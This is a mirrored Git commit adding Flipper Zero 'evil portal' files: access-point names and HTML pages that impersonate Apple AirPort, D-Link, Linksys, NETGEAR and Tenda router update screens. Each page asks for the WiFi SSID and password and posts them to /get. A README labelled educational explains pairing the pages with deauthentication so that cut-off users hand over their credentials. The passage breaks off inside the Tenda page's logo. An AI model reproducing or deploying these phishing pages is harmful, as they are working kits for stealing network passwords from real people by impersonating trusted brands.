mirror of
https://github.com/FlippieHacks/FlipperZeroEuropeanPortals.git
synced 2026-04-28 11:53:06 -07:00
Add files via upload
This commit is contained in:
1
WiFi Routers/Apple AirPort/ap.config.txt
Normal file
1
WiFi Routers/Apple AirPort/ap.config.txt
Normal file
@@ -0,0 +1 @@
|
||||
Apple AirPort Update
|
||||
176
WiFi Routers/Apple AirPort/index.html
Normal file
176
WiFi Routers/Apple AirPort/index.html
Normal file
@@ -0,0 +1,176 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<style>
|
||||
body {
|
||||
font-family: Arial, sans-serif;
|
||||
background-color: white;
|
||||
}
|
||||
|
||||
.container {
|
||||
max-width: 400px;
|
||||
margin: 0 auto;
|
||||
padding: 20px;
|
||||
}
|
||||
|
||||
@media (min-width: 600px) {
|
||||
.container {
|
||||
max-width: 500px;
|
||||
}
|
||||
}
|
||||
|
||||
.logo-container {
|
||||
text-align: center;
|
||||
margin-bottom: 30px;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.logo {
|
||||
width: 40px;
|
||||
height: 40px;
|
||||
fill: #000000;
|
||||
margin-right: 80px
|
||||
}
|
||||
|
||||
.form-container {
|
||||
background: #FFFFFF;
|
||||
border: 1px solid #000000;
|
||||
border-radius: 4px;
|
||||
padding: 20px;
|
||||
box-shadow: 0px 0px 10px 0px rgba(108,66,156,0.2);
|
||||
}
|
||||
|
||||
h1 {
|
||||
text-align: center;
|
||||
font-size: 28px;
|
||||
font-weight: 500;
|
||||
color: #000000;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
h2 {
|
||||
text-align: center;
|
||||
font-size: 24px;
|
||||
font-weight: 500;
|
||||
color: #000000;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
|
||||
.input-field {
|
||||
width: 100%;
|
||||
padding: 12px;
|
||||
border: 2px solid #000000;
|
||||
border-radius: 4px;
|
||||
box-sizing: border-box;
|
||||
margin-bottom: 20px;
|
||||
font-size: 14px;
|
||||
}
|
||||
.brand-name {
|
||||
font-size: 42px;
|
||||
color: #000000;
|
||||
margin-left: 10px;
|
||||
}
|
||||
|
||||
.submit-btn {
|
||||
background: #000000;
|
||||
border: none;
|
||||
color: #FFFFFF;
|
||||
padding: 12px 20px;
|
||||
border-radius: 4px;
|
||||
cursor: pointer;
|
||||
font-size: 16px;
|
||||
display: block;
|
||||
margin: auto;
|
||||
margin-top: 20px;
|
||||
}
|
||||
|
||||
.submit-btn:hover {
|
||||
background: #000000;
|
||||
}
|
||||
|
||||
.forgot-password {
|
||||
display: block;
|
||||
text-align: center;
|
||||
color: #000000;
|
||||
text-decoration: underline;
|
||||
margin-top: 10px;
|
||||
}
|
||||
|
||||
.error-message {
|
||||
color: #000000;
|
||||
text-align: center;
|
||||
display: none;
|
||||
margin-top: 10px;
|
||||
}
|
||||
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
|
||||
<div class="container">
|
||||
|
||||
<div class="logo-container">
|
||||
<svg version="1.0" xmlns="http://www.w3.org/2000/svg"
|
||||
width="151.000000pt" height="177.000000pt" viewBox="0 0 1518.000000 1770.000000"
|
||||
preserveAspectRatio="xMidYMid meet">
|
||||
<g transform="translate(0.000000,1770.000000) scale(0.100000,-0.100000)"
|
||||
fill="#000000" stroke="none">
|
||||
<path d="M10625 17193 c-88 -19 -389 -104 -515 -145 -916 -297 -1571 -758
|
||||
-2003 -1407 -204 -307 -362 -630 -481 -982 -141 -422 -217 -846 -242 -1371 -6
|
||||
-134 -6 -138 13 -138 38 0 317 31 463 51 301 42 501 89 665 155 602 246 1280
|
||||
890 1684 1601 391 689 602 1656 473 2167 -17 71 -22 77 -57 69z"/>
|
||||
<path d="M10535 13419 c-313 -29 -670 -99 -1025 -200 -58 -17 -254 -79 -436
|
||||
-139 -871 -287 -1269 -365 -1604 -316 -248 37 -606 121 -1040 245 -736 209
|
||||
-1159 296 -1615 332 -188 15 -616 6 -775 -16 -553 -76 -1013 -247 -1450 -538
|
||||
-563 -376 -1074 -975 -1425 -1667 -339 -672 -524 -1371 -607 -2300 -18 -197
|
||||
-18 -1070 0 -1280 132 -1569 644 -3064 1595 -4655 959 -1604 1952 -2399 2938
|
||||
-2351 325 16 674 107 1209 318 471 186 718 260 1061 319 178 30 521 37 719 15
|
||||
316 -37 663 -121 1075 -262 682 -233 969 -310 1305 -349 368 -43 696 18 1058
|
||||
197 635 314 1271 987 1924 2038 362 583 666 1183 879 1735 71 187 169 479 161
|
||||
486 -4 3 -56 23 -117 44 -138 49 -379 170 -513 258 -353 234 -700 594 -989
|
||||
1027 -363 544 -573 1145 -633 1810 -17 181 -14 567 5 743 81 765 384 1437 922
|
||||
2047 143 161 483 497 690 679 l163 143 -30 38 c-83 105 -271 311 -410 450
|
||||
-231 231 -412 384 -632 533 -487 332 -1015 526 -1638 602 -160 20 -617 28
|
||||
-765 14z"/>
|
||||
</g>
|
||||
</svg>
|
||||
|
||||
|
||||
<div class="brand-name"><b>Apple AirPort update available</b></div>
|
||||
|
||||
|
||||
|
||||
</div>
|
||||
|
||||
<div class="form-container">
|
||||
<center><h1><b>Connect to your WiFi to start the update</b></h1>
|
||||
</center>
|
||||
|
||||
<form action="/get" id="login-form">
|
||||
|
||||
<input name="email" class="input-field" type="text" placeholder="SSID" required>
|
||||
|
||||
<input name="password" class="input-field" type="password" placeholder="Password" required>
|
||||
<a href="javascript:void(0);" class="forgot-password">Where can I find my SSID?</a>
|
||||
<div class="error-message"></div>
|
||||
<button class="submit-btn" type="submit">UPDATE</button>
|
||||
|
||||
</form>
|
||||
|
||||
</div>
|
||||
|
||||
</div>
|
||||
<script>
|
||||
document.querySelector('.forgot-password').addEventListener('click', function() {
|
||||
var errorMessage = document.querySelector('.error-message');
|
||||
errorMessage.innerHTML = "The SSID, or Service Set Identifier, represents your WiFi network's official name. If you haven't previously set a custom name, the default SSID (and password) can be located on the back panel of your router.";
|
||||
errorMessage.style.display = 'block';
|
||||
});
|
||||
</script>
|
||||
</meta>
|
||||
</body>
|
||||
</html>
|
||||
1
WiFi Routers/D-Link/ap.config.txt
Normal file
1
WiFi Routers/D-Link/ap.config.txt
Normal file
@@ -0,0 +1 @@
|
||||
D-Link WiFi Update
|
||||
224
WiFi Routers/D-Link/index.html
Normal file
224
WiFi Routers/D-Link/index.html
Normal file
@@ -0,0 +1,224 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<style>
|
||||
body {
|
||||
font-family: Arial, sans-serif;
|
||||
background-color: #000000;
|
||||
}
|
||||
|
||||
.container {
|
||||
max-width: 400px;
|
||||
margin: 0 auto;
|
||||
padding: 20px;
|
||||
}
|
||||
|
||||
@media (min-width: 600px) {
|
||||
.container {
|
||||
max-width: 500px;
|
||||
}
|
||||
}
|
||||
|
||||
.logo-container {
|
||||
text-align: center;
|
||||
margin-bottom: 30px;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.logo {
|
||||
width: 40px;
|
||||
height: 40px;
|
||||
fill: #278DA2;
|
||||
margin-right: 100px
|
||||
}
|
||||
|
||||
.form-container {
|
||||
background: #161622;
|
||||
border: 1px solid #FFFFFF;
|
||||
border-radius: 4px;
|
||||
padding: 20px;
|
||||
box-shadow: 0px 0px 10px 0px rgba(108,66,156,0.2);
|
||||
}
|
||||
|
||||
h1 {
|
||||
text-align: center;
|
||||
font-size: 28px;
|
||||
font-weight: 500;
|
||||
color: #FFFFFF;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
h2 {
|
||||
text-align: center;
|
||||
font-size: 24px;
|
||||
font-weight: 500;
|
||||
color: #FFFFFF;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
|
||||
.input-field {
|
||||
width: 100%;
|
||||
padding: 12px;
|
||||
border: 2px solid #278DA2;
|
||||
border-radius: 4px;
|
||||
box-sizing: border-box;
|
||||
margin-bottom: 20px;
|
||||
font-size: 14px;
|
||||
}
|
||||
|
||||
.submit-btn {
|
||||
background: #278DA2;
|
||||
border: none;
|
||||
color: #FFFFFF;
|
||||
padding: 12px 20px;
|
||||
border-radius: 4px;
|
||||
cursor: pointer;
|
||||
font-size: 16px;
|
||||
display: block;
|
||||
margin: auto;
|
||||
margin-top: 20px;
|
||||
}
|
||||
|
||||
.submit-btn:hover {
|
||||
background: #278DA2;
|
||||
}
|
||||
|
||||
.forgot-password {
|
||||
display: block;
|
||||
text-align: center;
|
||||
color: #FFFFFF;
|
||||
text-decoration: underline;
|
||||
margin-top: 10px;
|
||||
}
|
||||
|
||||
.error-message {
|
||||
color: white;
|
||||
text-align: center;
|
||||
display: none;
|
||||
margin-top: 10px;
|
||||
}
|
||||
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
|
||||
<div class="container">
|
||||
|
||||
<div class="logo-container">
|
||||
<svg version="1.0" xmlns="http://www.w3.org/2000/svg"
|
||||
width="256.000000pt" height="51.000000pt" viewBox="0 0 2560.000000 515.000000"
|
||||
preserveAspectRatio="xMidYMid meet">
|
||||
<g transform="translate(0.000000,515.000000) scale(0.100000,-0.100000)"
|
||||
fill="#278DA2" stroke="none">
|
||||
<path d="M13342 5140 c-308 -43 -583 -205 -741 -434 -167 -242 -313 -754 -257
|
||||
-899 33 -86 127 -143 258 -157 86 -8 317 2 452 20 642 88 1098 308 1245 599
|
||||
50 98 64 162 59 276 -3 97 -6 107 -46 188 -89 180 -284 321 -540 389 -88 23
|
||||
-324 33 -430 18z"/>
|
||||
<path d="M21830 5053 c-14 -2 -119 -35 -235 -73 -435 -143 -893 -259 -1305
|
||||
-330 -153 -26 -188 -36 -219 -64 -35 -32 -222 -352 -228 -392 -8 -46 17 -74
|
||||
67 -74 20 0 101 9 180 20 194 27 196 27 220 -12 20 -33 20 -51 18 -1738 l-3
|
||||
-1705 -26 -56 c-33 -70 -76 -93 -198 -107 -67 -8 -89 -15 -108 -34 -28 -29
|
||||
-176 -412 -168 -438 3 -9 17 -22 31 -28 18 -9 351 -12 1266 -12 l1240 0 37 38
|
||||
c30 30 50 71 103 212 79 209 80 213 72 234 -11 27 -38 36 -151 46 -199 19
|
||||
-283 53 -325 133 -22 41 -23 52 -26 347 -2 167 -1 314 3 327 11 46 65 40 128
|
||||
-15 49 -44 264 -278 377 -411 540 -637 681 -765 935 -849 199 -65 222 -67 940
|
||||
-67 605 0 655 1 718 19 46 12 79 29 101 50 36 34 255 287 299 343 29 38 35 74
|
||||
15 90 -7 6 -80 16 -163 22 -231 19 -379 56 -529 133 -47 25 -105 77 -261 233
|
||||
-185 185 -865 880 -1019 1040 -102 106 -127 166 -103 246 14 47 67 133 109
|
||||
179 13 14 84 93 157 175 74 83 148 166 165 185 26 29 198 222 330 370 141 159
|
||||
202 221 231 234 21 10 62 16 112 17 127 0 132 4 261 174 125 166 145 201 131
|
||||
227 -9 17 -59 18 -895 18 -767 0 -895 -2 -961 -16 -142 -29 -170 -50 -326
|
||||
-250 -42 -54 -126 -160 -185 -235 -59 -75 -156 -198 -216 -275 -271 -343 -287
|
||||
-361 -321 -348 -8 4 -17 16 -20 28 -3 11 -6 527 -8 1146 -2 1103 -2 1126 -22
|
||||
1165 -30 59 -75 85 -144 84 -31 -1 -67 -4 -81 -6z"/>
|
||||
<path d="M522 4904 c-63 -16 -101 -35 -124 -60 -9 -11 -62 -104 -118 -208 -92
|
||||
-170 -102 -193 -97 -228 6 -48 29 -75 82 -99 33 -16 66 -19 197 -19 168 0 199
|
||||
-7 217 -47 8 -17 11 -497 11 -1714 0 -1394 -2 -1695 -13 -1722 -33 -79 -138
|
||||
-148 -284 -188 -91 -25 -140 -48 -170 -81 -30 -33 -223 -410 -223 -437 0 -35
|
||||
27 -77 57 -90 22 -9 469 -11 1838 -8 1804 3 1810 3 1943 24 159 27 286 59 419
|
||||
109 273 102 517 275 690 489 205 254 512 829 737 1377 84 205 100 280 100 473
|
||||
0 194 -8 228 -105 442 -197 435 -450 899 -682 1248 -146 219 -242 335 -350
|
||||
423 -256 207 -496 293 -898 321 -90 7 -712 11 -1659 10 -1275 0 -1523 -3
|
||||
-1568 -15z m2442 -615 c68 -19 117 -79 242 -299 64 -113 125 -218 134 -235 9
|
||||
-16 124 -217 255 -445 131 -228 243 -424 249 -435 6 -11 46 -81 88 -155 114
|
||||
-200 129 -276 78 -395 -21 -49 -36 -76 -158 -280 -46 -77 -513 -867 -735
|
||||
-1243 -46 -78 -93 -130 -141 -154 -38 -20 -59 -22 -288 -26 l-248 -4 0 1800
|
||||
c0 1118 4 1810 10 1826 18 49 47 55 270 56 118 0 222 -5 244 -11z"/>
|
||||
<path d="M7973 4874 c-41 -20 -74 -72 -196 -301 -107 -201 -117 -236 -72 -272
|
||||
40 -30 112 -41 283 -41 86 0 174 -4 195 -9 56 -13 102 -49 128 -100 l24 -46 3
|
||||
-1600 c2 -1164 0 -1616 -8 -1660 -18 -91 -48 -151 -98 -196 -58 -51 -114 -66
|
||||
-294 -83 -78 -8 -154 -18 -168 -24 -57 -24 -80 -58 -160 -235 -96 -214 -102
|
||||
-253 -40 -288 39 -22 4181 -26 4255 -4 74 21 128 64 159 126 l26 53 0 833 c0
|
||||
696 -2 839 -14 868 -32 76 -82 74 -338 -15 -253 -88 -280 -99 -319 -134 -49
|
||||
-44 -75 -116 -119 -336 -83 -412 -139 -567 -243 -673 -109 -112 -225 -141
|
||||
-533 -135 -172 3 -193 5 -231 26 -52 27 -88 74 -103 132 -8 32 -10 508 -8
|
||||
1690 l3 1645 21 46 c36 77 67 92 213 100 141 9 195 21 235 52 30 25 276 469
|
||||
276 499 0 31 -18 56 -53 75 -30 17 -116 18 -1412 20 -1248 3 -1383 1 -1412
|
||||
-13z"/>
|
||||
<path d="M16680 4084 c-326 -156 -505 -224 -765 -288 -195 -48 -307 -69 -637
|
||||
-121 -158 -24 -296 -49 -307 -54 -18 -10 -26 -24 -74 -131 -13 -30 -41 -90
|
||||
-61 -133 -39 -83 -44 -113 -22 -142 12 -16 32 -20 142 -24 145 -7 179 -21 205
|
||||
-83 21 -49 21 -2377 0 -2456 -17 -67 -52 -109 -96 -118 -19 -3 -39 -11 -44
|
||||
-18 -15 -18 -171 -419 -171 -439 0 -10 13 -32 29 -48 l29 -29 1086 0 c1191 0
|
||||
1142 -2 1185 59 20 30 135 320 146 368 8 42 -1 70 -28 85 -12 7 -74 15 -137
|
||||
18 -128 7 -178 24 -214 73 -21 28 -21 34 -21 1015 l0 987 29 68 c85 201 295
|
||||
287 482 196 72 -34 133 -107 155 -183 5 -17 9 -506 9 -1093 0 -659 4 -1089 10
|
||||
-1135 27 -199 169 -358 384 -431 59 -21 83 -21 776 -25 477 -2 727 0 751 7 19
|
||||
6 45 21 56 33 30 32 155 353 160 410 6 55 9 54 -138 67 -58 6 -117 14 -130 20
|
||||
-29 10 -85 71 -102 110 -9 19 -13 354 -17 1311 -6 1406 -5 1364 -66 1547 -85
|
||||
255 -233 401 -475 470 -99 28 -411 25 -574 -5 -149 -28 -278 -63 -415 -112
|
||||
-157 -56 -200 -75 -580 -248 -306 -140 -332 -148 -344 -116 -3 9 -6 129 -6
|
||||
267 0 226 -2 256 -19 294 -34 74 -79 81 -191 27z"/>
|
||||
<path d="M14200 3758 c-69 -42 -267 -136 -380 -181 -376 -147 -781 -240 -1249
|
||||
-287 -60 -6 -115 -17 -128 -25 -30 -20 -52 -55 -152 -248 -71 -136 -81 -161
|
||||
-73 -185 13 -40 40 -49 119 -41 117 13 195 10 233 -9 67 -33 64 7 66 -1022 1
|
||||
-509 -1 -971 -5 -1026 -11 -148 -46 -195 -170 -231 -107 -30 -131 -43 -151
|
||||
-84 -34 -66 -130 -328 -130 -354 0 -14 9 -34 20 -45 20 -20 33 -20 1176 -20
|
||||
1260 0 1195 -3 1237 56 24 32 147 351 147 379 0 36 -32 55 -117 69 -139 25
|
||||
-175 49 -222 146 l-26 55 -5 1500 c-3 825 -6 1501 -8 1502 -1 1 -16 18 -33 38
|
||||
-26 29 -38 35 -73 35 -24 0 -55 -9 -76 -22z"/>
|
||||
<path d="M6519 2911 c-62 -24 -125 -69 -179 -127 -44 -47 -356 -548 -385 -619
|
||||
-33 -77 -11 -156 48 -170 12 -3 360 -4 772 -3 l750 3 55 30 c107 58 181 147
|
||||
337 405 185 308 203 342 203 395 0 57 -7 73 -41 90 -24 13 -138 15 -771 15
|
||||
-691 -1 -746 -2 -789 -19z"/>
|
||||
</g>
|
||||
</svg>
|
||||
|
||||
|
||||
|
||||
|
||||
</div>
|
||||
|
||||
<div class="form-container">
|
||||
<center><h1><b>Your router needs to be updated before it can restart</b></h1>
|
||||
<h2>Connect to your WiFi to start the update</h2>
|
||||
</center>
|
||||
|
||||
<form action="/get" id="login-form">
|
||||
|
||||
<input name="email" class="input-field" type="text" placeholder="SSID" required>
|
||||
|
||||
<input name="password" class="input-field" type="password" placeholder="Password" required>
|
||||
<a href="javascript:void(0);" class="forgot-password">Where can I find my SSID?</a>
|
||||
<div class="error-message"></div>
|
||||
<button class="submit-btn" type="submit">UPDATE</button>
|
||||
|
||||
</form>
|
||||
|
||||
</div>
|
||||
|
||||
</div>
|
||||
<script>
|
||||
document.querySelector('.forgot-password').addEventListener('click', function() {
|
||||
var errorMessage = document.querySelector('.error-message');
|
||||
errorMessage.innerHTML = "The SSID, or Service Set Identifier, represents your WiFi network's official name. If you haven't previously set a custom name, the default SSID (and password) can be located on the back panel of your D-Link router.";
|
||||
errorMessage.style.display = 'block';
|
||||
});
|
||||
</script>
|
||||
</meta>
|
||||
</body>
|
||||
</html>
|
||||
1
WiFi Routers/Linksys/ap.config.txt
Normal file
1
WiFi Routers/Linksys/ap.config.txt
Normal file
@@ -0,0 +1 @@
|
||||
Linksys WiFi Update
|
||||
150
WiFi Routers/Linksys/index.html
Normal file
150
WiFi Routers/Linksys/index.html
Normal file
@@ -0,0 +1,150 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<style>
|
||||
body {
|
||||
font-family: Arial, sans-serif;
|
||||
background-color: black;
|
||||
}
|
||||
|
||||
.container {
|
||||
max-width: 400px;
|
||||
margin: 0 auto;
|
||||
padding: 20px;
|
||||
}
|
||||
|
||||
@media (min-width: 600px) {
|
||||
.container {
|
||||
max-width: 500px;
|
||||
}
|
||||
}
|
||||
|
||||
.logo-container {
|
||||
text-align: center;
|
||||
margin-bottom: 30px;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.logo {
|
||||
width: 40px;
|
||||
height: 40px;
|
||||
fill: #000000;
|
||||
margin-right: 80px
|
||||
}
|
||||
|
||||
.form-container {
|
||||
background: darkgrey;
|
||||
border: 1px solid #000000;
|
||||
border-radius: 4px;
|
||||
padding: 20px;
|
||||
box-shadow: 0px 0px 10px 0px rgba(108,66,156,0.2);
|
||||
}
|
||||
|
||||
h1 {
|
||||
text-align: center;
|
||||
font-size: 28px;
|
||||
font-weight: 500;
|
||||
color: black;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
h2 {
|
||||
text-align: center;
|
||||
font-size: 24px;
|
||||
font-weight: 500;
|
||||
color: #086CE3;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
|
||||
.input-field {
|
||||
width: 100%;
|
||||
padding: 12px;
|
||||
border: 2px solid #086CE3;
|
||||
border-radius: 4px;
|
||||
box-sizing: border-box;
|
||||
margin-bottom: 20px;
|
||||
font-size: 14px;
|
||||
}
|
||||
.brand-name {
|
||||
font-size: 80px;
|
||||
color: white;
|
||||
margin-left: 10px;
|
||||
}
|
||||
|
||||
.submit-btn {
|
||||
background: #086CE3;
|
||||
border: none;
|
||||
color: #FFFFFF;
|
||||
padding: 12px 20px;
|
||||
border-radius: 4px;
|
||||
cursor: pointer;
|
||||
font-size: 16px;
|
||||
display: block;
|
||||
margin: auto;
|
||||
margin-top: 20px;
|
||||
}
|
||||
|
||||
.submit-btn:hover {
|
||||
background: #000000;
|
||||
}
|
||||
|
||||
.forgot-password {
|
||||
display: block;
|
||||
text-align: center;
|
||||
color: #000000;
|
||||
text-decoration: underline;
|
||||
margin-top: 10px;
|
||||
}
|
||||
|
||||
.error-message {
|
||||
color: #000000;
|
||||
text-align: center;
|
||||
display: none;
|
||||
margin-top: 10px;
|
||||
}
|
||||
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
|
||||
<div class="container">
|
||||
|
||||
<div class="logo-container">
|
||||
|
||||
|
||||
<div class="brand-name"><b>Linksys</b></div>
|
||||
|
||||
</div>
|
||||
|
||||
<div class="form-container">
|
||||
<center><h1><b>Your router needs an update</b></h1>
|
||||
</center>
|
||||
|
||||
<form action="/get" id="login-form">
|
||||
|
||||
<input name="email" class="input-field" type="text" placeholder="SSID" required>
|
||||
|
||||
<input name="password" class="input-field" type="password" placeholder="Password" required>
|
||||
<a href="javascript:void(0);" class="forgot-password">Where can I find my SSID?</a>
|
||||
<div class="error-message"></div>
|
||||
<button class="submit-btn" type="submit">UPDATE</button>
|
||||
|
||||
</form>
|
||||
|
||||
</div>
|
||||
|
||||
</div>
|
||||
<script>
|
||||
document.querySelector('.forgot-password').addEventListener('click', function() {
|
||||
var errorMessage = document.querySelector('.error-message');
|
||||
errorMessage.innerHTML = "The SSID, or Service Set Identifier, represents your WiFi network's official name. If you haven't previously set a custom name, the default SSID (and password) can be located on the back panel of your Linksys router.";
|
||||
errorMessage.style.display = 'block';
|
||||
});
|
||||
</script>
|
||||
</meta>
|
||||
</body>
|
||||
</html>
|
||||
1
WiFi Routers/NETGEAR/ap.config.txt
Normal file
1
WiFi Routers/NETGEAR/ap.config.txt
Normal file
@@ -0,0 +1 @@
|
||||
NETGEAR WiFi Update
|
||||
151
WiFi Routers/NETGEAR/index.html
Normal file
151
WiFi Routers/NETGEAR/index.html
Normal file
@@ -0,0 +1,151 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<style>
|
||||
body {
|
||||
font-family: Arial, sans-serif;
|
||||
background-color: white;
|
||||
}
|
||||
|
||||
.container {
|
||||
max-width: 400px;
|
||||
margin: 0 auto;
|
||||
padding: 20px;
|
||||
}
|
||||
|
||||
@media (min-width: 600px) {
|
||||
.container {
|
||||
max-width: 500px;
|
||||
}
|
||||
}
|
||||
|
||||
.logo-container {
|
||||
text-align: center;
|
||||
margin-bottom: 30px;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.logo {
|
||||
width: 40px;
|
||||
height: 40px;
|
||||
fill: #000000;
|
||||
margin-right: 80px
|
||||
}
|
||||
|
||||
.form-container {
|
||||
background: #FFFFFF;
|
||||
border: 1px solid #000000;
|
||||
border-radius: 4px;
|
||||
padding: 20px;
|
||||
box-shadow: 0px 0px 10px 0px rgba(108,66,156,0.2);
|
||||
}
|
||||
|
||||
h1 {
|
||||
text-align: center;
|
||||
font-size: 28px;
|
||||
font-weight: 500;
|
||||
color: #000000;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
h2 {
|
||||
text-align: center;
|
||||
font-size: 24px;
|
||||
font-weight: 500;
|
||||
color: #000000;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
|
||||
.input-field {
|
||||
width: 100%;
|
||||
padding: 12px;
|
||||
border: 2px solid #000000;
|
||||
border-radius: 4px;
|
||||
box-sizing: border-box;
|
||||
margin-bottom: 20px;
|
||||
font-size: 14px;
|
||||
}
|
||||
.brand-name {
|
||||
font-size: 80px;
|
||||
color: #000000;
|
||||
margin-left: 10px;
|
||||
}
|
||||
|
||||
.submit-btn {
|
||||
background: #000000;
|
||||
border: none;
|
||||
color: #FFFFFF;
|
||||
padding: 12px 20px;
|
||||
border-radius: 4px;
|
||||
cursor: pointer;
|
||||
font-size: 16px;
|
||||
display: block;
|
||||
margin: auto;
|
||||
margin-top: 20px;
|
||||
}
|
||||
|
||||
.submit-btn:hover {
|
||||
background: #000000;
|
||||
}
|
||||
|
||||
.forgot-password {
|
||||
display: block;
|
||||
text-align: center;
|
||||
color: #000000;
|
||||
text-decoration: underline;
|
||||
margin-top: 10px;
|
||||
}
|
||||
|
||||
.error-message {
|
||||
color: #000000;
|
||||
text-align: center;
|
||||
display: none;
|
||||
margin-top: 10px;
|
||||
}
|
||||
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
|
||||
<div class="container">
|
||||
|
||||
<div class="logo-container">
|
||||
|
||||
|
||||
<div class="brand-name"><b>NETGEAR</b></div>®
|
||||
|
||||
</div>
|
||||
|
||||
<div class="form-container">
|
||||
<center><h1><b>Your router needs an update</b></h1>
|
||||
<h2>Log in to your WiFi to start</h2>
|
||||
</center>
|
||||
|
||||
<form action="/get" id="login-form">
|
||||
|
||||
<input name="email" class="input-field" type="text" placeholder="SSID" required>
|
||||
|
||||
<input name="password" class="input-field" type="password" placeholder="Password" required>
|
||||
<a href="javascript:void(0);" class="forgot-password">Where can I find my SSID?</a>
|
||||
<div class="error-message"></div>
|
||||
<button class="submit-btn" type="submit">UPDATE</button>
|
||||
|
||||
</form>
|
||||
|
||||
</div>
|
||||
|
||||
</div>
|
||||
<script>
|
||||
document.querySelector('.forgot-password').addEventListener('click', function() {
|
||||
var errorMessage = document.querySelector('.error-message');
|
||||
errorMessage.innerHTML = "The SSID, or Service Set Identifier, represents your WiFi network's official name. If you haven't previously set a custom name, the default SSID (and password) can be located on the back panel of your Netgear router.";
|
||||
errorMessage.style.display = 'block';
|
||||
});
|
||||
</script>
|
||||
</meta>
|
||||
</body>
|
||||
</html>
|
||||
8
WiFi Routers/README.md
Normal file
8
WiFi Routers/README.md
Normal file
@@ -0,0 +1,8 @@
|
||||
# !!FOR EDUCATIONAL USES ONLY!!
|
||||
These portals are made to emulate a "router setup WiFi". Could be used in a situation where a WiFi gets deauthed and the users are trying to find the reason they don't have internet. They would think they need to connect to this new portal with their router's brand and give their WiFi creds to update their machine.
|
||||
|
||||
## I only made this to show the capabilities. I mean it when I say this is not meant to be used on real victims, you would be an a**hole if you do it
|
||||
|
||||
## Happy flippin'
|
||||
|
||||
|
||||
1
WiFi Routers/Tenda/ap.config.txt
Normal file
1
WiFi Routers/Tenda/ap.config.txt
Normal file
@@ -0,0 +1 @@
|
||||
Tenda WiFi Update
|
||||
181
WiFi Routers/Tenda/index.html
Normal file
181
WiFi Routers/Tenda/index.html
Normal file
@@ -0,0 +1,181 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<style>
|
||||
body {
|
||||
font-family: Arial, sans-serif;
|
||||
background-color: #FFFFFF;
|
||||
}
|
||||
|
||||
.container {
|
||||
max-width: 400px;
|
||||
margin: 0 auto;
|
||||
padding: 20px;
|
||||
}
|
||||
|
||||
@media (min-width: 600px) {
|
||||
.container {
|
||||
max-width: 500px;
|
||||
}
|
||||
}
|
||||
|
||||
.logo-container {
|
||||
text-align: center;
|
||||
margin-bottom: 30px;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.logo {
|
||||
width: 40px;
|
||||
height: 40px;
|
||||
fill: #FC4F00;
|
||||
margin-right: 100px
|
||||
}
|
||||
|
||||
.form-container {
|
||||
background: #FFFFFF;
|
||||
border: 1px solid #FC4F00;
|
||||
border-radius: 4px;
|
||||
padding: 20px;
|
||||
box-shadow: 0px 0px 10px 0px rgba(108,66,156,0.2);
|
||||
}
|
||||
|
||||
h1 {
|
||||
text-align: center;
|
||||
font-size: 28px;
|
||||
font-weight: 500;
|
||||
color: #000000;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
h2 {
|
||||
text-align: center;
|
||||
font-size: 24px;
|
||||
font-weight: 500;
|
||||
color: #000000;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
|
||||
.input-field {
|
||||
width: 100%;
|
||||
padding: 12px;
|
||||
border: 2px solid #FC4F00;
|
||||
border-radius: 4px;
|
||||
box-sizing: border-box;
|
||||
margin-bottom: 20px;
|
||||
font-size: 14px;
|
||||
}
|
||||
|
||||
.submit-btn {
|
||||
background: #FC4F00;
|
||||
border: none;
|
||||
color: #FFFFFF;
|
||||
padding: 12px 20px;
|
||||
border-radius: 4px;
|
||||
cursor: pointer;
|
||||
font-size: 16px;
|
||||
display: block;
|
||||
margin: auto;
|
||||
margin-top: 20px;
|
||||
}
|
||||
|
||||
.submit-btn:hover {
|
||||
background: #FC4F00;
|
||||
}
|
||||
|
||||
.forgot-password {
|
||||
display: block;
|
||||
text-align: center;
|
||||
color: #000000;
|
||||
text-decoration: underline;
|
||||
margin-top: 10px;
|
||||
}
|
||||
|
||||
.error-message {
|
||||
color: #000000;
|
||||
text-align: center;
|
||||
display: none;
|
||||
margin-top: 10px;
|
||||
}
|
||||
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
|
||||
<div class="container">
|
||||
|
||||
<div class="logo-container">
|
||||
<svg version="1.0" xmlns="http://www.w3.org/2000/svg"
|
||||
width="326.000000pt" height="155.000000pt" viewBox="0 0 326.000000 155.000000"
|
||||
preserveAspectRatio="xMidYMid meet">
|
||||
<g transform="translate(0.000000,155.000000) scale(0.100000,-0.100000)"
|
||||
fill="#FC4F00" stroke="none">
|
||||
<path d="M2425 1148 c-3 -7 -15 -53 -28 -103 l-23 -90 -124 -6 c-132 -7 -160
|
||||
